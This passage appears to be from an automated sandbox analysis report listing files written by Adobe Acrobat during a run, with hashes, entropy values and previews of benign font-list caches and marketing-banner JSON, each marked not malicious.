SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5572

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.354729792564024
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJM3g98kUwPeUkwRe9:YvXKXWQrINmvR/ZwHAxGMbLUkee9
MD5:	686BEC0DC25DC48051527D1BDC6C840A
SHA1:	46A327CF2D11309293F19E578DCE79A62DDA1AB9
SHA-256:	4D9317A20D18CF3E7F9AF4F3E45750A171263454ABBF7B0BC0BB18189A16DAFA
SHA-512:	AA87C1D1A406C1DE7FD1C0EC7F4BE5D73503047870DD62C2716539F5333EE4B652221AEF42F8CAEDDCA0904D2C14442DE483C7CC856A9EC111A0467D4FDD7425
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.288739129326451
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJfBoTfXpnrPeUkwRe9:YvXKXWQrINmvR/ZwHAxGWTfXcUkee9
MD5:	3A015B34760F873281E779C37D31A66A
SHA1:	D8C70E5F09D84030D1FB89FF581BE01691689C87
SHA-256:	2ADA47BB39A76769A586A6C5A22282E98B98ADB6114C5B5D7FA1B1D37F8DB914
SHA-512:	FCE9A534FA5229613DBF1B48B160BA6110B01358329C7A06920A48DE95CA2FE46B255CA48CC340EE0A1E92FF2EDF02C00C6327EA405863A2B2E945CDBA180248
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2662113785300795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJfBD2G6UpnrPeUkwRe9:YvXKXWQrINmvR/ZwHAxGR22cUkee9
MD5:	126A47AE3E989154E986B1AFAFEB4A35
SHA1:	7CE64EF24A5CB1937133521809C1920E44274BF2
SHA-256:	4B87197AD7F3BD75384FABDD75DC141CBB4EFE64621DA5ACAA1F2DDC0C7D6F1D
SHA-512:	DD797006CAEB5F52B4AF013BE8D807AF471E27697825262A5DC015522ABE0A72C5EED81035EB19BDBB4B6B5570244CD12D5D604A0F63A81DEDA7D910624CE382
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.331375405995174
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJfPmwrPeUkwRe9:YvXKXWQrINmvR/ZwHAxGH56Ukee9
MD5:	A18297FEF9CD173CCE5A2F45956A488E
SHA1:	A0AF479D30FC4FE7E876D9D924AFE8DF9DCF3845
SHA-256:	6BF296308E47C93B8A82D561F06384A31986CEC9B68BDA6688930C3C66B8E7A1
SHA-512:	E8E72F89779BE667E56044E990DBE32B808ADFE294D765E0C99C52762E1EA1612E99F7C15AFEEBF94D2E82B3EB941E8125C4F935CF7B3E57E406109198C462FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690899074764949
Encrypted:	false
SSDEEP:	24:Yv6XWQrOmJhipLgE9cQx8LennAvzBvkn0RCmK8czOCCSD:YvhQrOmJhihgy6SAFv5Ah8cv/D
MD5:	5F8C7F501583CBCA0F9063E5E79498BB
SHA1:	757336AA890B2576A7AB022528E70C922EC2C182
SHA-256:	2C1DB0EC177185F34E3900A4B75F64AA1CFF0860F69ACF101A744F84FF3F6A01
SHA-512:	2C9160599143A7D41D0E6795B26C36F2C6B09B3C4301B7FA7E00280BA9003A5DC7079371737624BB34F9575278C507E77F58578BA3572392133338288D0FB9DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2796129735545145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJf8dPeUkwRe9:YvXKXWQrINmvR/ZwHAxGU8Ukee9
MD5:	88049E1B902ACB5F55F6C1642428C849
SHA1:	D6C1D9A6450182A4B147A3EE5E12F5A45456EC84
SHA-256:	3635D3D68057EFD02C53660E97FE99D379197DF6FFA3658183CF60EEC3B337C3
SHA-512:	5619EB7F04FFF19253561B0C0B8EBDB27FC9A6096C95A6D966B99A022FBAF8D767DFCD2B1FDCE8084E35921AB6AF0C1B3070E7CF4CCB3EDE0C066C7FF45E5EFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.27819239956572
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJfQ1rPeUkwRe9:YvXKXWQrINmvR/ZwHAxGY16Ukee9
MD5:	52DD2D11B51DFAC6FB97B73F6B77FCB7
SHA1:	6F2D2B8316406918DEF80631111DDA720230D444
SHA-256:	27CA3730C229CCE146462D11E6F7E91E12C8C42D498B0E684907B25B9C4B6C52
SHA-512:	32DDEFBF8EF023FE660CAF22FB50C92138B938ADEFEE50351EB030C265D11A853282F3249C328B86809A2AEE3980288291641F6F2CCEDEDEF0FC92800518D60E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294951482368987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJfFldPeUkwRe9:YvXKXWQrINmvR/ZwHAxGz8Ukee9
MD5:	C543EE409C119FF56623D0AD2E1A6F82
SHA1:	AF26B820FB995BB56904BB06D4EBF4699C0343B1
SHA-256:	32618CAE86BA78A9492BAFC6F138C343AEA98C02CE8F646F0997CF49384A3B1A
SHA-512:	922E6EC66D2B30B79FEE98074A918BC29BA2D6A1CBE18D0EC6B8F1866EFCBAEE415C3D5B1B49820AFD03C9DD45C7E5D54BFCD6212EB1A0DB64C81A7225580055
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.309476180655071
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJfzdPeUkwRe9:YvXKXWQrINmvR/ZwHAxGb8Ukee9
MD5:	2FC3F702E941CE466B5FE52D3D1D3C56
SHA1:	752CBD7D40BB5F26524E92C9D39253150D34001F
SHA-256:	4AF165481E6DD7351BBB71C13A33427ACE04277A978C2C8FA3602957C4DEABD7
SHA-512:	F2E5E1F05F0EB086CCDD5D47E788E5D1EDE2500042D1141CF2DA95098A18F211F5E6A8D6E09BDD289E3A3DF11A1DD2F85697D0FC1C4E0DE8EE720CA1237E8D6D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289620829778133
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJfYdPeUkwRe9:YvXKXWQrINmvR/ZwHAxGg8Ukee9
MD5:	0534C37C00C3A5FD84747C477674D44E
SHA1:	805864BFB4DFDE1589915051D998D5BE5C2422A2
SHA-256:	DDE275A44137DCFF20D92D461F239FF5C1A2D24C29CB24B2310BA0EF0CEA0FAD
SHA-512:	8756EC18EF060A51905700D0C1E2F6E56988F23644DF4EDEE9D5D634CC9C6AF33D4162AE395BAC703BCFF558E716F0E45A6FFE69931BF43CCAB54F3782BF9BC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.275488470730903
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJf+dPeUkwRe9:YvXKXWQrINmvR/ZwHAxG28Ukee9
MD5:	88BED0F9D02B96A26E3480EC63C8E263
SHA1:	A0EF8D71FA012D08E582CE3CBA56A96E73C0B5BA
SHA-256:	23BFC8848E629BE1274D45A14D12DF5AD362D40DD4792C8248E55A56A60B032C
SHA-512:	775CBB43EC2B5A6FF4CF055D2F59D56869F53F6D2C25CC1B114F73BDE5F450F3D7F6BE8A79ADB851692C6D58A669A01C694388AC9C8EC7E50AAB493E976D73D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.273239261955239
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJfbPtdPeUkwRe9:YvXKXWQrINmvR/ZwHAxGDV8Ukee9
MD5:	7A58E222963828B3AF50EAB8971E6CAA
SHA1:	B1E579109373A937BAB17D44E79DD288E0B52B4E
SHA-256:	532934034AA47DF0939B1DAD80F90B12223B301441E724D4B2B7F0496220C3F9
SHA-512:	BEF256E2B7A10545D3B61FC31DBDCD0EFE819164F6FC431A0F9BAD20BF5B0C60508852FE4DB49AA9EEAA1AC1C3A57834575D8C1127E7D91DDE34C4A01A2CA436
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.271824167369531
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJf21rPeUkwRe9:YvXKXWQrINmvR/ZwHAxG+16Ukee9
MD5:	0A525D370943EF139090FB9B3268712A
SHA1:	A2424303EAD88C8AA58A4B080328D6D8D8F944E0
SHA-256:	DCF5C5E5594F8AC9ACD611443723EE7D8CE24E63E0304969736CC806BE4DDC1F
SHA-512:	25A7B28FFB661E2745947F74B60E298A7DADAD2C263141E0A47AD3C52EE8E670563229A3469979DFC93990E774B7C880ADF49B09F828099E0DD4347C0948D02F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666380707267445
Encrypted:	false
SSDEEP:	24:Yv6XWQrOmJh+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSD:YvhQrOmJhABgkDMUJUAh8cvMD
MD5:	5CB23D8DFC55BB7109E92D3A9DD9D353
SHA1:	91EBCD6BA84381D63AE22C0FC5CEB4C6A555D529
SHA-256:	F38D46F210FE42C6DA632D1A560A37C6C11B0DAC600895B82583DD88CF85484B
SHA-512:	6C3C083CF147E82A73B60AF0EFE2982266AC38508BC1BBFB305992609AED02BF6B76EF79E399ED20646639233C8A4E60A90913F2137D3004904B5E39ED48E1E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.246411126544251
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJfshHHrPeUkwRe9:YvXKXWQrINmvR/ZwHAxGUUUkee9
MD5:	6681481A6388369AE75F41566F72543F
SHA1:	FB5EE7BC5801E86DA61BDE5B68133E43EE0B0ED1
SHA-256:	74BD7C15BE5621E048E1F399FCC8C0E97777AB56E3223A7FE4CEB5943DA157D1
SHA-512:	65B2BBD1347C185FBC35AF1F5AF2478527E7B9C74DC80B7251EFE3BB3A62223887430F53D0CE5520EC285CAFD994EEA345C9D3CB2980BBAF8B20A0378AB4D35B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.265733744695802
Encrypted:	false
SSDEEP:	6:YEQXJ2HXw7QgmDUNZYvB3/dVlPIHAR0YmoAvJTqgFCrPeUkwRe9:YvXKXWQrINmvR/ZwHAxGTq16Ukee9
MD5:	FEC328F22FD6CEBCA07855272249B4B3
